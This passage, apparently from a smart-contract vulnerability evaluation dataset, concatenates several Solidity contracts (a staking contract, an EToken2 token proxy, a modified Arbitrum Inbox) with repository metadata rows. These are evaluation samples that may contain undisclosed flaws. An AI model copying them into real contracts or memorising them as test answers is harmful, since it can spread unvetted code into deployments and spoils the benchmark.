event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsTADA {
function rebase(uint256 tadaProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TadaStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable TADA;
address public immutable sTADA;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _TADA,
address _sTADA,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_TADA != address(0));
TADA = _TADA;
require(_sTADA != address(0));
sTADA = _sTADA;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(TADA).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsTADA(sTADA).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sTADA).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsTADA(sTADA).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsTADA(sTADA).balanceForGons(info.gons));
IERC20(TADA).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sTADA).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(TADA).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsTADA(sTADA).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsTADA(sTADA).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsTADA(sTADA).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(TADA).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sTADA).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sTADA).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 329,920 | 12,714 |
fb6015fd8f23fcf79c0335fb500c117119ecf2d8b3264c48d26d395aadaef6fd
| 22,277 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x6ccc23875503c5a1cd901b3006bdb5eb84c17433.sol
| 3,300 | 13,062 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
// function symbol() constant returns(string);
function decimals() constant returns(uint8);
// function name() constant returns(string);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract SIXAToken is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
// Assigned EToken2, immutable.
EToken2Interface public etoken2;
// Assigned symbol, immutable.
bytes32 public etoken2Symbol;
// Assigned name, immutable. For UI.
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
// Interface functions to allow specifying ICAP addresses as strings.
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
// Current asset implementation contract address.
address latestVersion;
// Proposed next asset implementation contract address.
address pendingVersion;
// Upgrade freeze-time start.
uint pendingVersionTimestamp;
// Timespan for users to review the new implementation and make decision.
uint constant UPGRADE_FREEZE_TIME = 3 days;
// Asset implementation contract address that user decided to stick with.
// 0x0 means that user uses latest version.
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
// Should not already be in the upgrading process.
if (pendingVersion != 0x0) {
return false;
}
// New version address should be other than 0x0.
if (_newVersion == 0x0) {
return false;
}
// Don't apply freeze-time for the initial setup.
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
// Backwards compatibility.
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
}
| 217,649 | 12,715 |
dd2e067ec43bab5c5b90faf2d98ee5646fc9f7b34c98d591b7af512425d6ba44
| 21,800 |
.sol
|
Solidity
| false |
603943129
|
saucepoint/foundry-arbitrum
|
1ff06d8dd25299851ec388e167c156396559892a
|
src/forks/Inbox.sol
| 4,780 | 19,033 |
// Copyright 2021-2022, Offchain Labs, Inc.
// For license information, see https://github.com/nitro/blob/master/LICENSE
// SPDX-License-Identifier: BUSL-1.1
//
// This file is a modified version of the Arbitrum Inbox contract, where a
// a function is marked as `virtual` for overriding in a child contract
pragma solidity ^0.8.4;
import {
AlreadyInit,
NotOrigin,
DataTooLarge,
AlreadyPaused,
AlreadyUnpaused,
Paused,
InsufficientValue,
InsufficientSubmissionCost,
NotAllowedOrigin,
RetryableData,
NotRollupOrOwner,
L1Forked,
NotForked,
GasLimitTooLarge
} from "@arbitrum/nitro-contracts/src/libraries/Error.sol";
import "@arbitrum/nitro-contracts/src/bridge/IInbox.sol";
import "@arbitrum/nitro-contracts/src/bridge/ISequencerInbox.sol";
import "@arbitrum/nitro-contracts/src/bridge/IBridge.sol";
import "@arbitrum/nitro-contracts/src/bridge/Messages.sol";
import "@arbitrum/nitro-contracts/src/libraries/AddressAliasHelper.sol";
import "@arbitrum/nitro-contracts/src/libraries/DelegateCallAware.sol";
import {
L2_MSG,
L1MessageType_L2FundedByL1,
L1MessageType_submitRetryableTx,
L1MessageType_ethDeposit,
L2MessageType_unsignedEOATx,
L2MessageType_unsignedContractTx
} from "@arbitrum/nitro-contracts/src/libraries/MessageTypes.sol";
import {
MAX_DATA_SIZE,
UNISWAP_L1_TIMELOCK,
UNISWAP_L2_FACTORY
} from "@arbitrum/nitro-contracts/src/libraries/Constants.sol";
import "@arbitrum/nitro-contracts/src/precompiles/ArbSys.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
contract Inbox is DelegateCallAware, PausableUpgradeable, IInbox {
IBridge public bridge;
ISequencerInbox public sequencerInbox;
/// ------------------------------------ allow list start ------------------------------------ ///
bool public allowListEnabled;
mapping(address => bool) public isAllowed;
event AllowListAddressSet(address indexed user, bool val);
event AllowListEnabledUpdated(bool isEnabled);
function setAllowList(address[] memory user, bool[] memory val) external onlyRollupOrOwner {
require(user.length == val.length, "INVALID_INPUT");
for (uint256 i = 0; i < user.length; i++) {
isAllowed[user[i]] = val[i];
emit AllowListAddressSet(user[i], val[i]);
}
}
function setAllowListEnabled(bool _allowListEnabled) external onlyRollupOrOwner {
require(_allowListEnabled != allowListEnabled, "ALREADY_SET");
allowListEnabled = _allowListEnabled;
emit AllowListEnabledUpdated(_allowListEnabled);
}
/// @dev this modifier checks the tx.origin instead of msg.sender for convenience (ie it allows
/// this modifier is not intended to use to be used for security (since this opens the allowList to
/// a smart contract phishing risk).
modifier onlyAllowed() {
// solhint-disable-next-line avoid-tx-origin
if (allowListEnabled && !isAllowed[tx.origin]) revert NotAllowedOrigin(tx.origin);
_;
}
/// ------------------------------------ allow list end ------------------------------------ ///
modifier onlyRollupOrOwner() {
IOwnable rollup = bridge.rollup();
if (msg.sender != address(rollup)) {
address rollupOwner = rollup.owner();
if (msg.sender != rollupOwner) {
revert NotRollupOrOwner(msg.sender, address(rollup), rollupOwner);
}
}
_;
}
uint256 internal immutable deployTimeChainId = block.chainid;
function _chainIdChanged() internal view returns (bool) {
return deployTimeChainId != block.chainid;
}
/// @inheritdoc IInbox
function pause() external onlyRollupOrOwner {
_pause();
}
/// @inheritdoc IInbox
function unpause() external onlyRollupOrOwner {
_unpause();
}
function initialize(IBridge _bridge, ISequencerInbox _sequencerInbox) public initializer onlyDelegated {
bridge = _bridge;
sequencerInbox = _sequencerInbox;
allowListEnabled = false;
__Pausable_init();
}
/// @inheritdoc IInbox
function postUpgradeInit(IBridge) external onlyDelegated onlyProxyOwner {}
/// @inheritdoc IInbox
function sendL2MessageFromOrigin(bytes calldata messageData) external whenNotPaused onlyAllowed returns (uint256) {
if (_chainIdChanged()) revert L1Forked();
// solhint-disable-next-line avoid-tx-origin
if (msg.sender != tx.origin) revert NotOrigin();
if (messageData.length > MAX_DATA_SIZE) {
revert DataTooLarge(messageData.length, MAX_DATA_SIZE);
}
uint256 msgNum = deliverToBridge(L2_MSG, msg.sender, keccak256(messageData));
emit InboxMessageDeliveredFromOrigin(msgNum);
return msgNum;
}
/// @inheritdoc IInbox
function sendL2Message(bytes calldata messageData) external whenNotPaused onlyAllowed returns (uint256) {
if (_chainIdChanged()) revert L1Forked();
return _deliverMessage(L2_MSG, msg.sender, messageData);
}
function sendL1FundedUnsignedTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
bytes calldata data) external payable whenNotPaused onlyAllowed returns (uint256) {
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L1MessageType_L2FundedByL1,
msg.sender,
abi.encodePacked(L2MessageType_unsignedEOATx, gasLimit, maxFeePerGas, nonce, uint256(uint160(to)), msg.value, data));
}
function sendL1FundedContractTransaction(uint256 gasLimit, uint256 maxFeePerGas, address to, bytes calldata data)
external
payable
whenNotPaused
onlyAllowed
returns (uint256)
{
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L1MessageType_L2FundedByL1,
msg.sender,
abi.encodePacked(L2MessageType_unsignedContractTx, gasLimit, maxFeePerGas, uint256(uint160(to)), msg.value, data));
}
function sendUnsignedTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
uint256 value,
bytes calldata data) external whenNotPaused onlyAllowed returns (uint256) {
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L2_MSG,
msg.sender,
abi.encodePacked(L2MessageType_unsignedEOATx, gasLimit, maxFeePerGas, nonce, uint256(uint160(to)), value, data));
}
function sendContractTransaction(uint256 gasLimit,
uint256 maxFeePerGas,
address to,
uint256 value,
bytes calldata data) external whenNotPaused onlyAllowed returns (uint256) {
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L2_MSG,
msg.sender,
abi.encodePacked(L2MessageType_unsignedContractTx, gasLimit, maxFeePerGas, uint256(uint160(to)), value, data));
}
/// @inheritdoc IInbox
function sendL1FundedUnsignedTransactionToFork(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
bytes calldata data) external payable whenNotPaused onlyAllowed returns (uint256) {
if (!_chainIdChanged()) revert NotForked();
// solhint-disable-next-line avoid-tx-origin
if (msg.sender != tx.origin) revert NotOrigin();
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L1MessageType_L2FundedByL1,
// undoing sender alias here to cancel out the aliasing
AddressAliasHelper.undoL1ToL2Alias(msg.sender),
abi.encodePacked(L2MessageType_unsignedEOATx, gasLimit, maxFeePerGas, nonce, uint256(uint160(to)), msg.value, data));
}
/// @inheritdoc IInbox
function sendUnsignedTransactionToFork(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
address to,
uint256 value,
bytes calldata data) external whenNotPaused onlyAllowed returns (uint256) {
if (!_chainIdChanged()) revert NotForked();
// solhint-disable-next-line avoid-tx-origin
if (msg.sender != tx.origin) revert NotOrigin();
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L2_MSG,
// undoing sender alias here to cancel out the aliasing
AddressAliasHelper.undoL1ToL2Alias(msg.sender),
abi.encodePacked(L2MessageType_unsignedEOATx, gasLimit, maxFeePerGas, nonce, uint256(uint160(to)), value, data));
}
/// @inheritdoc IInbox
function sendWithdrawEthToFork(uint256 gasLimit,
uint256 maxFeePerGas,
uint256 nonce,
uint256 value,
address withdrawTo) external whenNotPaused onlyAllowed returns (uint256) {
if (!_chainIdChanged()) revert NotForked();
// solhint-disable-next-line avoid-tx-origin
if (msg.sender != tx.origin) revert NotOrigin();
// arbos will discard unsigned tx with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
return _deliverMessage(L2_MSG,
// undoing sender alias here to cancel out the aliasing
AddressAliasHelper.undoL1ToL2Alias(msg.sender),
abi.encodePacked(L2MessageType_unsignedEOATx,
gasLimit,
maxFeePerGas,
nonce,
uint256(uint160(address(100))), // ArbSys address
value,
abi.encode(ArbSys.withdrawEth.selector, withdrawTo)));
}
/// @inheritdoc IInbox
function calculateRetryableSubmissionFee(uint256 dataLength, uint256 baseFee) public view returns (uint256) {
// Use current block basefee if baseFee parameter is 0
return (1400 + 6 * dataLength) * (baseFee == 0 ? block.basefee : baseFee);
}
/// @inheritdoc IInbox
function depositEth() public payable whenNotPaused onlyAllowed returns (uint256) {
address dest = msg.sender;
// solhint-disable-next-line avoid-tx-origin
if (AddressUpgradeable.isContract(msg.sender) || tx.origin != msg.sender) {
// isContract check fails if this function is called during a contract's constructor.
dest = AddressAliasHelper.applyL1ToL2Alias(msg.sender);
}
return _deliverMessage(L1MessageType_ethDeposit, msg.sender, abi.encodePacked(dest, msg.value));
}
/// @notice deprecated in favour of depositEth with no parameters
function depositEth(uint256) external payable whenNotPaused onlyAllowed returns (uint256) {
return depositEth();
}
function createRetryableTicketNoRefundAliasRewrite(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) external payable whenNotPaused onlyAllowed returns (uint256) {
// gas limit is validated to be within uint64 in unsafeCreateRetryableTicket
return unsafeCreateRetryableTicket(to,
l2CallValue,
maxSubmissionCost,
excessFeeRefundAddress,
callValueRefundAddress,
gasLimit,
maxFeePerGas,
data);
}
/// @inheritdoc IInbox
function createRetryableTicket(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) external payable whenNotPaused onlyAllowed returns (uint256) {
// ensure the user's deposit alone will make submission succeed
if (msg.value < (maxSubmissionCost + l2CallValue + gasLimit * maxFeePerGas)) {
revert InsufficientValue(maxSubmissionCost + l2CallValue + gasLimit * maxFeePerGas, msg.value);
}
// if a refund address is a contract, we apply the alias to it
// so that it can access its funds on the L2
// since the beneficiary and other refund addresses don't get rewritten by arb-os
if (AddressUpgradeable.isContract(excessFeeRefundAddress)) {
excessFeeRefundAddress = AddressAliasHelper.applyL1ToL2Alias(excessFeeRefundAddress);
}
if (AddressUpgradeable.isContract(callValueRefundAddress)) {
callValueRefundAddress = AddressAliasHelper.applyL1ToL2Alias(callValueRefundAddress);
}
// gas limit is validated to be within uint64 in unsafeCreateRetryableTicket
return unsafeCreateRetryableTicket(to,
l2CallValue,
maxSubmissionCost,
excessFeeRefundAddress,
callValueRefundAddress,
gasLimit,
maxFeePerGas,
data);
}
/// @inheritdoc IInbox
function unsafeCreateRetryableTicket(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) public payable virtual whenNotPaused onlyAllowed returns (uint256) {
// gas price and limit of 1 should never be a valid input, so instead they are used as
// magic values to trigger a revert in eth calls that surface data without requiring a tx trace
if (gasLimit == 1 || maxFeePerGas == 1) {
revert RetryableData(msg.sender,
to,
l2CallValue,
msg.value,
maxSubmissionCost,
excessFeeRefundAddress,
callValueRefundAddress,
gasLimit,
maxFeePerGas,
data);
}
// arbos will discard retryable with gas limit too large
if (gasLimit > type(uint64).max) {
revert GasLimitTooLarge();
}
uint256 submissionFee = calculateRetryableSubmissionFee(data.length, block.basefee);
if (maxSubmissionCost < submissionFee) {
revert InsufficientSubmissionCost(submissionFee, maxSubmissionCost);
}
return _deliverMessage(L1MessageType_submitRetryableTx,
msg.sender,
abi.encodePacked(uint256(uint160(to)),
l2CallValue,
msg.value,
maxSubmissionCost,
uint256(uint160(excessFeeRefundAddress)),
uint256(uint160(callValueRefundAddress)),
gasLimit,
maxFeePerGas,
data.length,
data));
}
/// retryable ticket without address aliasing. More info here:
/// @dev This function will be removed in future releases
function uniswapCreateRetryableTicket(address to,
uint256 l2CallValue,
uint256 maxSubmissionCost,
address excessFeeRefundAddress,
address callValueRefundAddress,
uint256 gasLimit,
uint256 maxFeePerGas,
bytes calldata data) external payable whenNotPaused onlyAllowed returns (uint256) {
// this can only be called by UNISWAP_L1_TIMELOCK
require(msg.sender == UNISWAP_L1_TIMELOCK, "NOT_UNISWAP_L1_TIMELOCK");
// the retryable can only call UNISWAP_L2_FACTORY
require(to == UNISWAP_L2_FACTORY, "NOT_TO_UNISWAP_L2_FACTORY");
// ensure the user's deposit alone will make submission succeed
if (msg.value < (maxSubmissionCost + l2CallValue + gasLimit * maxFeePerGas)) {
revert InsufficientValue(maxSubmissionCost + l2CallValue + gasLimit * maxFeePerGas, msg.value);
}
// if a refund address is a contract, we apply the alias to it
// so that it can access its funds on the L2
// since the beneficiary and other refund addresses don't get rewritten by arb-os
if (AddressUpgradeable.isContract(excessFeeRefundAddress)) {
excessFeeRefundAddress = AddressAliasHelper.applyL1ToL2Alias(excessFeeRefundAddress);
}
if (AddressUpgradeable.isContract(callValueRefundAddress)) {
callValueRefundAddress = AddressAliasHelper.applyL1ToL2Alias(callValueRefundAddress);
}
// gas price and limit of 1 should never be a valid input, so instead they are used as
// magic values to trigger a revert in eth calls that surface data without requiring a tx trace
if (gasLimit == 1 || maxFeePerGas == 1) {
revert RetryableData(msg.sender,
to,
l2CallValue,
msg.value,
maxSubmissionCost,
excessFeeRefundAddress,
callValueRefundAddress,
gasLimit,
maxFeePerGas,
data);
}
uint256 submissionFee = calculateRetryableSubmissionFee(data.length, block.basefee);
if (maxSubmissionCost < submissionFee) {
revert InsufficientSubmissionCost(submissionFee, maxSubmissionCost);
}
return _deliverMessage(L1MessageType_submitRetryableTx,
AddressAliasHelper.undoL1ToL2Alias(msg.sender),
abi.encodePacked(uint256(uint160(to)),
l2CallValue,
msg.value,
maxSubmissionCost,
uint256(uint160(excessFeeRefundAddress)),
uint256(uint160(callValueRefundAddress)),
gasLimit,
maxFeePerGas,
data.length,
data));
}
function _deliverMessage(uint8 _kind, address _sender, bytes memory _messageData) internal returns (uint256) {
if (_messageData.length > MAX_DATA_SIZE) {
revert DataTooLarge(_messageData.length, MAX_DATA_SIZE);
}
uint256 msgNum = deliverToBridge(_kind, _sender, keccak256(_messageData));
emit InboxMessageDelivered(msgNum, _messageData);
return msgNum;
}
function deliverToBridge(uint8 kind, address sender, bytes32 messageDataHash) internal returns (uint256) {
return bridge.enqueueDelayedMessage{value: msg.value}(kind, AddressAliasHelper.applyL1ToL2Alias(sender), messageDataHash);
}
}
| 138,817 | 12,716 |
715d4d940d6d8ea4730ec2dd28af7afd5a79cada8ce2b2a44ca82929dd3907d0
| 14,519 |
.sol
|
Solidity
| false |
498336211
|
ETHERLO/USDT_Contract
|
f5b331e2d662a444c4833af025c358f6207a9e6b
|
USDT.sol
| 2,762 | 11,208 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
